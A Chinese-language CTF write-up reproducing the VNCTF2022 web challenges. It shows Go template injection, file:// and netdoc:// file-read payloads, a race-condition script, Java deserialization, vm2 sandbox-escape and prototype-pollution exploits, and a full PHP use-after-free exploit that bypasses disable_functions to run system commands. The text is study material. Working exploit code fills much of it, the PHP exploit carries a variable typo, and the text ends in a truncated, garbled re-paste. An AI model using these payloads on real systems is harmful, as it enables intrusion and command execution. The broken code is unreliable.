VNCTF2022 web全复现

web

文章目录

  • web
    • GameV4.0
    • gocalc0
    • easyJ4va
      • 信息收集
      • 获取key
      • 反序列化
    • newcalc0
      • 非预期
    • PoC 1
    • PoC 2
      • 预期解
    • InterestingPHP
      • 解法一
      • 解法二

GameV4.0

前端小游戏题,直接想到查看js源代码

VNCTF2022 web全复现_第1张图片

在data.js文件中搜索到了关键词flag,且后面附着着一个base64编码的字符串,解码试试

VNCTF2022 web全复现_第2张图片

得到flag,再将其url解码一下就行

VNCTF{Welcome_to_VNCTF2022}

gocalc0

VNCTF2022 web全复现_第3张图片

go语言的ssti,传入{{.}}指向当前的类,类似于this,然后输出源代码

import (
	_ "embed"
	"fmt"
	"os"
	"reflect"
	"strings"
	"text/template"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/maja42/goval"
)

//go:embed template/index.html
var tpl string

//go:embed main.go
var source string

type Eval struct {
	E string `json:"e" form:"e" binding:"required"`
}

func (e Eval) Result() (string, error) {
	eval := goval.NewEvaluator()
	result, err := eval.Evaluate(e.E, nil, nil)
	if err != nil {
		return "", err
	}
	t := reflect.ValueOf(result).Type().Kind()

	if t == reflect.Int {
		return fmt.Sprintf("%d", result.(int)), nil
	} else if t == reflect.String {
		return result.(string), nil
	} else {
		return "", fmt.Errorf("not valid type")
	}
}

func (e Eval) String() string {
	res, err := e.Result()
	if err != nil {
		fmt.Println(err)
		res = "invalid"
	}
	return fmt.Sprintf("%s = %s", e.E, res)
}

func render(c *gin.Context) {
	session := sessions.Default(c)

	var his string

	if session.Get("history") == nil {
		his = ""
	} else {
		his = session.Get("history").(string)
	}

	fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
	t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
	if err != nil {
		fmt.Println(err)
		c.String(500, "internal error")
		return
	}
	if err := t.Execute(c.Writer, map[string]string{
		"s0uR3e": source,
	}); err != nil {
		fmt.Println(err)
	}
}

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8080"
	}

	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))

	r.GET("/", func(c *gin.Context) {
		render(c)
	})

	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		session.Set("FLAG", os.Getenv("FLAG"))
		session.Save()
		c.String(200, "flag is in your session")
	})

	r.POST("/", func(c *gin.Context) {
		session := sessions.Default(c)

		var his string

		if session.Get("history") == nil {
			his = ""
		} else {
			his = session.Get("history").(string)
		}

		eval := Eval{}
		if err := c.ShouldBind(&eval); err == nil {
			his = his + eval.String() + "
"
} session.Set("history", his) session.Save() render(c) }) r.Run(fmt.Sprintf(":%s", port)) } ] = invalid
package main

import (
	_ "embed"
	"fmt"
	"os"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
)

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8088"
	}
	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))
	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		c.String(200, session.Get("FLAG").(string))
	})
	r.Run(fmt.Sprintf(":%s", port))
}

go语言还不是很看得懂,但是大概能够才出来,将解析flag的关键代码带出来放在本地,然后将在题目环境里面的得到的flag让在本地进行解析,也就是image-20220403222837440

VNCTF2022 web全复现_第4张图片

VNCTF2022 web全复现_第5张图片

easyJ4va

信息收集

VNCTF2022 web全复现_第6张图片

打开提示file?

VNCTF2022 web全复现_第7张图片

这里又说了输入一个url

VNCTF2022 web全复现_第8张图片

VNCTF2022 web全复现_第9张图片

后面发现是使用file协议

然后就是查看java字节码文件的目录

file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF
这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF

VNCTF2022 web全复现_第10张图片

以下为读文件的payload

file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
controller
entity
    User.class
servlet
    FileServlet.class
	HelloWorldServlet.class
util
    Secr3t.class
    SerAndDe.class
    UrlUtil.class
file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/FileServlet.class
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class

使用jadx反编译

VNCTF2022 web全复现_第11张图片

HelloWorldServlet.class
    
package servlet;

import entity.User;
import java.io.IOException;
import java.util.Base64;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;

@WebServlet(name = "HelloServlet", urlPatterns = {"/evi1"})
public class HelloWorldServlet extends HttpServlet {
    private volatile String age = "666";
    private volatile String height = "180";
    private volatile String name = "m4n_q1u_666";
    User user;

    public void init() throws ServletException {
        this.user = new User(this.name, this.age, this.height);
    }

    /* access modifiers changed from: protected */
    public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String reqName = req.getParameter("name");
        if (reqName != null) {
            this.name = reqName;
        }
        if (Secr3t.check(this.name)) {
            Response(resp, "no vnctf2022!");
        } else if (Secr3t.check(this.name)) {
            Response(resp, "The Key is " + Secr3t.getKey());
        }
    }

    /* access modifiers changed from: protected */
    public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String key = req.getParameter("key");
        String text = req.getParameter("base64");
        if (!Secr3t.getKey().equals(key) || text == null) {
            Response(resp, "KeyError");
            return;
        }
        if (this.user.equals((User) SerAndDe.deserialize(Base64.getDecoder().decode(text)))) {
            Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
        }
    }

    private void Response(HttpServletResponse resp, String outStr) throws IOException {
        ServletOutputStream out = resp.getOutputStream();
        out.write(outStr.getBytes());
        out.flush();
        out.close();
    }
}

也可以用IDEA反编译

VNCTF2022 web全复现_第12张图片

主要看hello那里

VNCTF2022 web全复现_第13张图片

可以看到要拿到flag,必须要满足这两个if条件,一个是要传入密钥key,一个是反序列化一个一样的user对象

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String key = req.getParameter("key");
    String text = req.getParameter("base64");
    if (Secr3t.getKey().equals(key) && text != null) {
        Decoder decoder = Base64.getDecoder();
        byte[] textByte = decoder.decode(text);
        User u = (User)SerAndDe.deserialize(textByte);
        if (this.user.equals(u)) {
            this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
        }
    } else {
        this.Response(resp, "KeyError");
    }

}

所以后面就要就要完成两步,一是拿到密钥key,而是反序列化

获取key

首先我们跟进一下Secr3t类看一看

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package util;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang3.RandomStringUtils;

public class Secr3t {
    private static final String Key = RandomStringUtils.randomAlphanumeric(32);
    private static StringBuffer Flag;

    private Secr3t() {
    }

    public static String getKey() {
        return Key;
    }

    public static StringBuffer getFlag() {
        Flag = new StringBuffer();
        InputStream in = null;

        try {
            in = Runtime.getRuntime().exec("/readflag").getInputStream();
        } catch (IOException var12) {
            var12.printStackTrace();
        }

        BufferedReader read = new BufferedReader(new InputStreamReader(in));

        try {
            String line = null;

            while((line = read.readLine()) != null) {
                Flag.append(line + "\n");
            }
        } catch (IOException var13) {
            var13.printStackTrace();
        } finally {
            try {
                in.close();
                read.close();
            } catch (IOException var11) {
                var11.printStackTrace();
                System.out.println("Secr3t : io exception!");
            }

        }

        return Flag;
    }

    public static boolean check(String checkStr) {
        return "vnctf2022".equals(checkStr);
    }
}

然后看到doGet那里可以获取key

VNCTF2022 web全复现_第14张图片

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String reqName = req.getParameter("name");
    if (reqName != null) {
        this.name = reqName;
    }

    if (Secr3t.check(this.name)) {
        this.Response(resp, "no vnctf2022!");
    } else {
        if (Secr3t.check(this.name)) {
            this.Response(resp, "The Key is " + Secr3t.getKey());
        }

    }
}

跟进Secr3t.check

image-20220407202108106

就是一个比较传入的参数为不为vnctf2022

然后回到doGet这里,我们要获取key,就要绕过第一个if,即this.name先不为vnctf2022,然后再下一个if下又为vnctf2022,这里就接触到一个线程安全的漏洞,就是servlet在收到请求的时候不会每次请求都实例化一个对象,这样太消耗资源了,所以servlet处理请求时是在第一次实例化一个类,当后面再次请求的时候会使用之前实例化的那个对象,也就是说相当于多个人同时操作一个对象,我们再看一下这个deGet函数

VNCTF2022 web全复现_第15张图片

它判断的是实例化对象的属性,也就是说只要我们在进入第一个if的时候,用另外一个线程让它的name属性不为vnctf2022,然后当进入第二个线程的时候,在操作它变成vnctf2022,那不就进入了第二个if条件内吗,所以就措一个多线程脚本

import time
import requests
from threading import Thread

url = 'http://d7546473-9645-4fac-af9d-d0eebea2d5cc.node4.buuoj.cn:81/evi1'
payload1 = "?name=vnctf2022"
payload2 = "?name=pysnow"
ses = requests.session()


def get(session, payload):
    while True:
        res = session.get(url=url+payload)
        print(url+payload)
        print(res.text)
        if "key" in res.text:
            print(res.text)
        time.sleep(0.1)


if __name__ == '__main__':
    for i in range(2):
        Thread(target=get, args=(ses, payload1,)).start()
    for j in range(2):
        Thread(target=get, args=(ses, payload2,)).start()

VNCTF2022 web全复现_第16张图片

这里注意一个点,就是不要跑得太快了,BUU上的环境你跑考了它就会给你报429,后面就相当于没有传进去参数,我这里是只开了四个线程,两个判断正确的线程,两个判断错误的线程,再加上一个时间延时

最后拿到key

fpXvAgpKpgl8v0eRYpUBPkleBqqhRBRY

反序列化

然后继续看到doPost这里

VNCTF2022 web全复现_第17张图片

这里就是将传入的text参数进行base64解码并转化为字节溜形式,然后传入SerAndDe.deserialize()方法进行处理,看这个名字猜测这个SerAndDe.deserialize的作用就是反序列化,这里可以不用去审这个方法,可以先试着直接反序列化,等不成功的时候再去审代码,或者说直接使用SerAndDe.serialize()方法

VNCTF2022 web全复现_第18张图片

然后就是写payload了,将User和SerAndDe的源码分别提取出来,然后再另外写一个类去导入它们,就行了

VNCTF2022 web全复现_第19张图片

import entity.User;
import java.util.Base64;
import util.SerAndDe;


public class testSerializable
{
    public static void main(String[] args){
        User user = new User("m4n_q1u_666","666","180");
        Base64.Encoder  encoder = Base64.getEncoder();
        byte[] textByte = SerAndDe.serialize(user);
        String text = encoder.encodeToString(textByte);
        System.out.println(text);
    }
}

然后执行

VNCTF2022 web全复现_第20张图片

VNCTF2022 web全复现_第21张图片

发现并打不通,看了一下wp发现,这个height属性加了transient修饰,不能直接反序列化

VNCTF2022 web全复现_第22张图片

可以用题目给的代码看一下反序列化出的结果

String text1="rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAgACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2Ng==";
        Base64.Decoder decoder = Base64.getDecoder();
        byte[] textByte1 = decoder.decode(text1);
        User u = (User)SerAndDe.deserialize(textByte1);
        System.out.println(u);

VNCTF2022 web全复现_第23张图片

发现反序列化的结果为null

所以我们就要考虑怎么绕过这个transient修饰

这里可以直接参照https://blog.csdn.net/u010156024/article/details/48345257,重写一下writeObject方法

VNCTF2022 web全复现_第24张图片

private void writeObject(ObjectOutputStream s) throws IOException{
        s.defaultWriteObject();
        s.writeObject(this.height);
    }

VNCTF2022 web全复现_第25张图片

VNCTF2022 web全复现_第26张图片

newcalc0

非预期

一道nodejs的题,给出了源码

const express = require("express");
const path = require("path");
const vm2 = require("vm2");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {
  const e = req.body.e;
  if (!e) {
    res.send("wrong?");
    return;
  }
  try {
    res.send(vm.run("module.exports="+e)?.toString() ?? "no");
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

app.use("/flag", (req, res) => {
  if(Object.keys(Object.prototype).length > 0) {
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
    res.send(process.env.FLAG);
  } else {
    res.send(Object.keys(Object.prototype));
  }
})

app.use("/source", (req, res) => {
  let p = req.query.path || "/src/index.js";
  p = path.join(path.resolve("."), path.resolve(p));
  console.log(p);
  res.sendFile(p);
});

app.use((err, req, res, next) => {
  console.log(err)
  res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

简单的审一下源码,可以发现这里有三个路由

eval: 用于执行代码,但是是在vm2虚拟机中执行的,所以就要考虑怎么绕过这个虚拟机

flag: 用于输出flag,但是要满足条件,这里马上反应到原型链污染

source: 用于查看源码,而且这里也可以通过传入path参数,来查看文件

这里给出了提示package.json,应该就是叫我们查看package.json文件,那么我们首先访问一下

/source?path=/package.json

VNCTF2022 web全复现_第27张图片

{
  "name": "name",
  "version": "0.1.1",
  "description": "Description",
  "private": true,
  "main": "src/index.js",
  "scripts": {
    "start:single": "node src/index.js",
    "start": "pm2 start src/index.js -i 1",
    "log": "pm2 logs -f"
  },
  "dependencies": {
    "express": "^4.17.1",
    "pm2": "^4.5.6",
    "vm2": "^3.9.5"
  },
  "devDependencies": {
    "@types/express": "^4.17.8",
    "@types/node": "^14.10.1",
    "prettier": "^2.0.5"
  }
}

这里主要看一下依赖那一栏,vm2使用的版本,然后找一下有没有相关的去绕过vm2^3.9.5的漏洞

VNCTF2022 web全复现_第28张图片

https://security.snyk.io/vuln/SNYK-JS-VM2-2309905

PoC 1

// tested on Node.js 16.10.0
const {VM} = require('vm2');

vmInstance = new VM();    

console.log(vmInstance.run(`    
function foo(ref) {
 new Error().stack;    
}
let obj = {};
Object.defineProperty(Object.prototype, 0, {
 set: function () {                        
     foo(this);
     try {      
         obj[0] = 0;
     } catch (e) {
         e.__proto__.__proto__.__proto__.polluted = 'success';            
     }
 }
})
`));
console.log(polluted);

PoC 2

// tested with Node.js 17.1.0 and latest vm2 version
// generated from "/home/cris/work/js-isolation/analysis/Dataset/1V8/regress/regress-672041.js", partially with the support of the generator
const {VM} = require('vm2');

vmInstance = new VM();    

vmInstance.run(`
function getRootPrototype(obj) {        
 while (obj.__proto__) {
     obj = obj.__proto__;
 }
 return obj;    
}
function stack(ref, cb) {
 let stack = new Error().stack;
 stack.match(/checkReferenceRecursive/g);        
}
try {            
 global.temp0 = RegExp.prototype.__defineGetter__('global', () => {    
     getRootPrototype(this);                
     stack(this);        
     return true;
 }), function functionInvocationAnalysis(r) {        
     stack(r);
 }(temp0), global.temp0;
 RegExp.prototype.exec = function (str) {        
     stack(arguments);        
 };    
} catch (e) {    

	// payload
 getRootPrototype(e).polluted = "success";   
}
`);

VNCTF2022 web全复现_第29张图片

由上图可知,要满足Object.keys(Object.prototype).length > 0,就可以改变Object.prototype的值,根据js原生链调用的关系,就可以直接写出payload如下

getRootPrototype(e).prototype=[1,2,3];

然后使用

module.exports=Object.keys(Object.prototype);
查看注入是否成功

最后写出exp如下

import requests

url = 'http://179ed22a-d122-499f-87b6-a0dbda4d03ee.node4.buuoj.cn:81/eval'
data = {
    "e": '''1;function getRootPrototype(obj) {        
    while (obj.__proto__) {
        obj = obj.__proto__;
    }
    return obj;    
}
function stack(ref, cb) {
    let stack = new Error().stack;
    stack.match(/checkReferenceRecursive/g);        
}
try {            
    global.temp0 = RegExp.prototype.__defineGetter__('global', () => {    
        getRootPrototype(this);                
        stack(this);        
        return true;
    }), function functionInvocationAnalysis(r) {        
        stack(r);
    }(temp0), global.temp0;
    RegExp.prototype.exec = function (str) {        
        stack(arguments);        
    };    
} catch (e) {    
 getRootPrototype(e).as=[1,2,3];
 module.exports=Object.keys(Object.prototype);
}
'''}
while True:
    res = requests.post(url=url, data=data)
    print(res.text)

VNCTF2022 web全复现_第30张图片

VNCTF2022 web全复现_第31张图片

预期解

https://nodejs.org/zh-cn/blog/vulnerability/jan-2022-security-releases/

CVE直接打

VNCTF2022 web全复现_第32张图片

发现可以影响非常小,但是这道题足够了

VNCTF2022 web全复现_第33张图片

console.table([{a:1}],['__proto__'])

VNCTF2022 web全复现_第34张图片

InterestingPHP

VNCTF2022 web全复现_第35张图片

打开就是一个RCE点

VNCTF2022 web全复现_第36张图片

过滤了phpinfo,猜测应该是在设置里禁用了很多函数的那种题

VNCTF2022 web全复现_第37张图片

array(3) {
  ["global_value"]=>
  string(816) "include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var"
  ["local_value"]=>
  string(816) "include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var"
  ["access"]=>
  int(4)
include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var 
open_basedir
    /var/www/html

image-20220406163510470

使用scandir扫描目录,发现了一个secret.rdb,这个是redis的数据文件

然后下面就可以分为几种解法了

解法一

https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php


pwn('uname -a');

function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $camd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fwrite($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;

    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }

    private function go() {
        $this->abc = &$this->filtername;

        $this->make_uaf_obj();

        $this->helper = new Helper;
        $this->helper->b = function($x) {};

        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);

        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);

        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);

        $this->prepare_leaker();

        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);

        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);

        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);

        $this->cleanup();
        ($this->helper->b)(CMD);
    }

    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fwrite($this->uafp, "\x00");
        }
    }

    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);

        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }

    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }

    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fwrite($this->hfp, "\x00");
        }
    }

    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}
?>

使用这个脚本绕过disbale_function,先用脚本检查一下是否有被禁用的函数没有

filter = 'include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,' \
         'fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,' \
         'phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,' \
         'pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,' \
         'pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,' \
         'pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,' \
         'iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,' \
         'error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var'.split(
    ',')
payload = '''
filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }

    private function go() {
        $this->abc = &$this->filtername;

        $this->make_uaf_obj();

        $this->helper = new Helper;
        $this->helper->b = function($x) {};

        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);

        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);

        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);

        $this->prepare_leaker();

        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);

        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);

        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);

        $this->cleanup();
        ($this->helper->b)(CMD);
    }

    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fwrite($this->uafp, "\x00");
        }
    }

    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);

        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }

    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }

    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

